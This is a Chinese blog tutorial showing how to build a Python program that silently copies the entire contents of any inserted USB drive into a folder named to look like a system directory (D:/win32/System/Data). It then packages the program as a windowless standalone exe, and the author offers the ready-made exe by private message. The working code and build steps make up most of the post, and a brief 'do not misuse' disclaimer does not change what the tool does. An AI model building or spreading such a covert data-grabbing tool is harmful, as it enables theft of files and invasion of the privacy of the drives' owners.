python自动拷贝U盘文件(打包成exe)

2023-10-30

大家好!欢迎阅读此文档,从零实现利用python工具实现自动拷贝U盘里的文件、打包成exe文件程序(exe程序是windows系统兼容的程序、运行程序的电脑不需要安装python就能实现),新手也能完成!!!!!

提示:熟悉python工具的可直接跳转到步骤四

目录

一、python与Pycharm安装

二、安装python库 (pip安装)

三、使用Pycharm创建工程

四、python代码程序 

五、打包exe文件

六、总结


一、python与Pycharm安装

python下载地址(官网):Welcome to Python.org

Pycharm下载地址:PyCharm: the Python IDE for Professional Developers by JetBrains

安装提示:建议python3.8、安装地址在D盘新建一个文件名为python3.X和Pycharm、建议环境变量、Pycharm安装社区版(免费);需要专业版的私信我

说明:本文档主要是利用python工具实现拷贝功能,如有需要安装教程,评论在下方,我单独出一个安装python教程

二、安装python库 (pip安装)

1、进入python安装目录(D:\python3.8.9\Scripts)

 2、输入cmd+回车

 3、进入命令框

4、安装以下库

psutil库和pytest-shutil库以及pyinstaller(打包成exe)库

  4、输入以下命令(安装对应的库)+回车

pip install  psutil  -i https://pypi.tuna.tsinghua.edu.cn/simple

pip install   pytest-shutil  -i https://pypi.tuna.tsinghua.edu.cn/simple

pip install  pyinstaller  -i https://pypi.tuna.tsinghua.edu.cn/simple

 安装成功后如下图所示

三、使用Pycharm创建工程

1、创建

2、复制步骤四的代码

大家在此可以运行代码程序验证是否能成功、代码量较少、应该不会报错、有错的话请私信我;运行=鼠标右键后点击run

四、python代码程序 

主要代码程序:(复制到步骤三的main.py文件)

# 1、导入相关库
from psutil import disk_partitions
from time import sleep
import shutil
import os
# 2、定义文件粘贴地址
idd_cope = 'D:/win32/System/Data'
# 3、检测粘贴地址是否存在
id_cope_2 = os.path.isdir(idd_cope)
if id_cope_2:
    exit()  # 如果存在就结束程序
# 4、循环检测U盘是否插入
while True:
    sleep(1) #等待1毫秒,可以删除
    for item in disk_partitions():
        if 'removable' in item.opts:
            driver = item.device # 获取U盘名称
            driver = driver[:-1]
            shutil.copytree(driver, idd_cope) # 拷贝函数
            break # 拷贝完成后结束循环
    else:
        continue # U盘没有插入就跳转执行下一个循环
    break

五、打包exe文件

1、进入步骤三创建工程的文件(E:\python\usb_path)

2、输入cmd(和步骤二一样)

3、输入以下命令打包

pyinstaller -F -w main.py

4、打包成功如下图

 5、寻找打包exe程序

 6、验证exe文件

1、双击main.exe(建议此时不插U盘)

2、打开任务管理器(查看程序是否运行)

3、插入U盘后等待main.exe程序结束

4、结束后进入D:\win32\System\Data

此时就有了U盘里的文件了

六、总结

1、exe文件程序可以在windows系统中运行,不需要安装任何环境;

2、教程是博主一步一步实现的,应该不会存在问题,如有问题,可私信博主;

3、程序只是为了提供学习,请勿滥用,否则后果自负!!!;

4、需要博主已经打包好的exe文件,请私信博主!

未经博主同意,请勿私自转发,请大佬评论你们的想法!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

python自动拷贝U盘文件(打包成exe) 的相关文章

随机推荐

  • 【CSS3高级应用】

    CSS3高级应用 一 页面中的多媒体嵌入 二 CSS3中过渡效果 transition 三 CSS3中变形效果 transform 四 CSS3的动画效果 animation 五 CSS3的滤镜效果 Filters 六 CSS3精灵技术 s
  • Field injection is not recommended 依赖注入方式

    参考文章 http vojtechruzicka com field dependency injection considered harmful 首先对于还不熟悉 Autowired的同学当然也包括我先去看看它到底有什么作用 自动装配
  • VLCDotNet在C#中的使用说明

    摸索了半天终于搞定了 记录一下 首先到开源网站下载压缩包 https github com ZeBobo5 Vlc DotNet releases 下载解压有四个类库工程和两个实例项目 Vlc DotNet Core Interops Vl
  • 66.加一[Leetcode 力扣 Java&C完整解答]

    为什么我要给出完整解答 因为要搜索个题目的解答 很多都偷懒只给个方法的实现 结果跑都跑不起来 于是我就决定 每一题 都给出Java C两种完整的解答 直接就可以运行 Debug Leetcode题目来源 66 加一 给定一个由整数组成的非空
  • idea中的项目没有蓝色小方块

    将idea右侧的加号 加上该项目的pom xml 刷新即可 浪费了哥十几分钟时间
  • 如何提交代码到github仓库(2022最新最详细)

    一 github注册及创建仓库 首先得先注册一个github账号 如何注册在这就不多陈述 如果注册过程中有任何疑问可以去网上查阅资料 也可以私聊我 2 注册好github账号后 来到如图画面 点击new建立一个github仓库 设置好后点击
  • 关于错误 The type or namespace name `Vuforia' could not be found. Are you missing an assembly reference?

    今天想用unity打包一个AR的demo到手机里试试截屏功能 在客户端运行都好好的 一打包就出现了标题里面的问题 不仅如此 还有一连带的 意思就是找不到你using的这些命名空间 我百度都找遍了 还是未果 我就开始在工程里寻找哪里有这些命名
  • 小程序顶部返回按钮

    一 小程序顶部返回按 直接只用uni navigateTo 相当于再压一次栈 同时在onBackPress中不能直接调用uni navigateBack 否则会无限循环 导致返回无法生效 onBackPress options if opt
  • Windows下批处理文件(.bat)的使用

    批处理 Batch 就是进行批量的处理 英文译文BATCH 批处理文件后缀BAT就取的前三个字母 通常被认为是一种简化的脚本语言 它应用于DOS和Windows系统中 批处理文件是扩展名为 bat或 cmd的文本文件 包含一条或多条命令 由
  • idea快捷键设置(Idea常用快捷键大全)

    目录 友情提醒 第一章 IDEA常用快捷键 1 1 快捷键 查找 提示类 1 2 快捷键 修改代码类 1 3 快捷键 光标移动类 第二章 Idea如何修改快捷键 2 1 已知快捷键 通过搜索快捷键查找 2 2 已知快捷键含义 通过输入快捷键
  • SpringBoot 如何实现多文件的上传和下载

    在前面的文章中 我们介绍了如何在Spring Boot中实现单个文件的上传和下载 但是 有时候我们需要实现多个文件的上传和批量下载 本文将介绍如何在Spring Boot中实现多文件上传和批量下载的功能 多文件上传 在Spring Boot
  • 通过transpose和flip实现图像旋转90/180/270度

    在fbc cv库中 提供了对图像进行任意角度旋转的函数rotate 其实内部也是调用了仿射变换函数warpAffine 如果图像仅是进行90度倍数的旋转 是没有必要用warpAffine函数的 这里通过transpose和flip函数实现对
  • 上网流量不够用,办无限流量卡吗?python程序员教你暴力破解wifi

    流量不够用怎么办 随着时代的发展 流量也是越来越不够用了 办无限网卡吗 月租太贵不划算 还是用Wi Fi舒服 不用担心流量用没了 今天用python教大家写一个暴力破解Wi Fi的程序 Wi Fi在手 天下我有 上网流量不够用 办无限流量卡
  • STM32中断优先级彻底讲解

    一 综述 STM32 目前支持的中断共为 84 个 16 个内核 68 个外部 16 级可编程中断优先级的设置 仅使用中断优先级设置 8bit 中的高 4 位 和16个抢占优先级 因为抢占优先级最多可以有四位数 二 优先级判断 STM32
  • STM32:寄存器概念

    目录 1 STM32长什么样 2 STM32内部有什么 2 1 STM32芯片架构简图 3 存储器映射 3 1 什么叫存储器映射 3 2 让GPIOB端口的16个引脚输出高电平 要怎么实现 4 什么是寄存器 4 1 总线基地址 4 2 寄存
  • 63万张!旷视发布最大物体检测数据集Objects365,物体检测竞赛登陆CVPR

    郭一璞 发自 北京会议中心 量子位 报道 公众号 QbitAI 比ImageNet大的图像数据集来了 在4月16日的智源学者计划启动暨联合实验室发布会上 旷视科技发布了通用物体检测数据集Objects365 包含63万张图像 远超Image
  • python 基础之注释变量常量

    一 注释 注释 就是对代码的解释 方便大家阅读代码 1 注释的分类 1 单行注释 在python中在行首添加一个 号就将这一行进行注释 单行注释 用 开头 后面跟上任意字符串 python2 版本print 这个函数 语法如下 print
  • java中File类

    转自http shameant iteye com blog 163007 Java文件操作我个人认为重要的问题有 a 如何跨平台问题 b 文件编码问题 尤其是多语言平台情况下如何正常工作 c 文件读写效率 操作效率 d 文件加密和文件安全
  • STM32CubeMX+FreeRTOS学习笔记(一)

    嵌入式实时操作系统FreeRTOS 基本概述 在嵌入式领域当中 实时操作系统的应用越来越广泛了 目前嵌入式操作系统种类很多 例如 Clinux C OS II C OS III FreeRTOS RT Thread等等 这篇文章所记录的就是
  • python自动拷贝U盘文件(打包成exe)

    大家好 欢迎阅读此文档 从零实现利用python工具实现自动拷贝U盘里的文件 打包成exe文件程序 exe程序是windows系统兼容的程序 运行程序的电脑不需要安装python就能实现 新手也能完成 提示 熟悉python工具的可直接跳转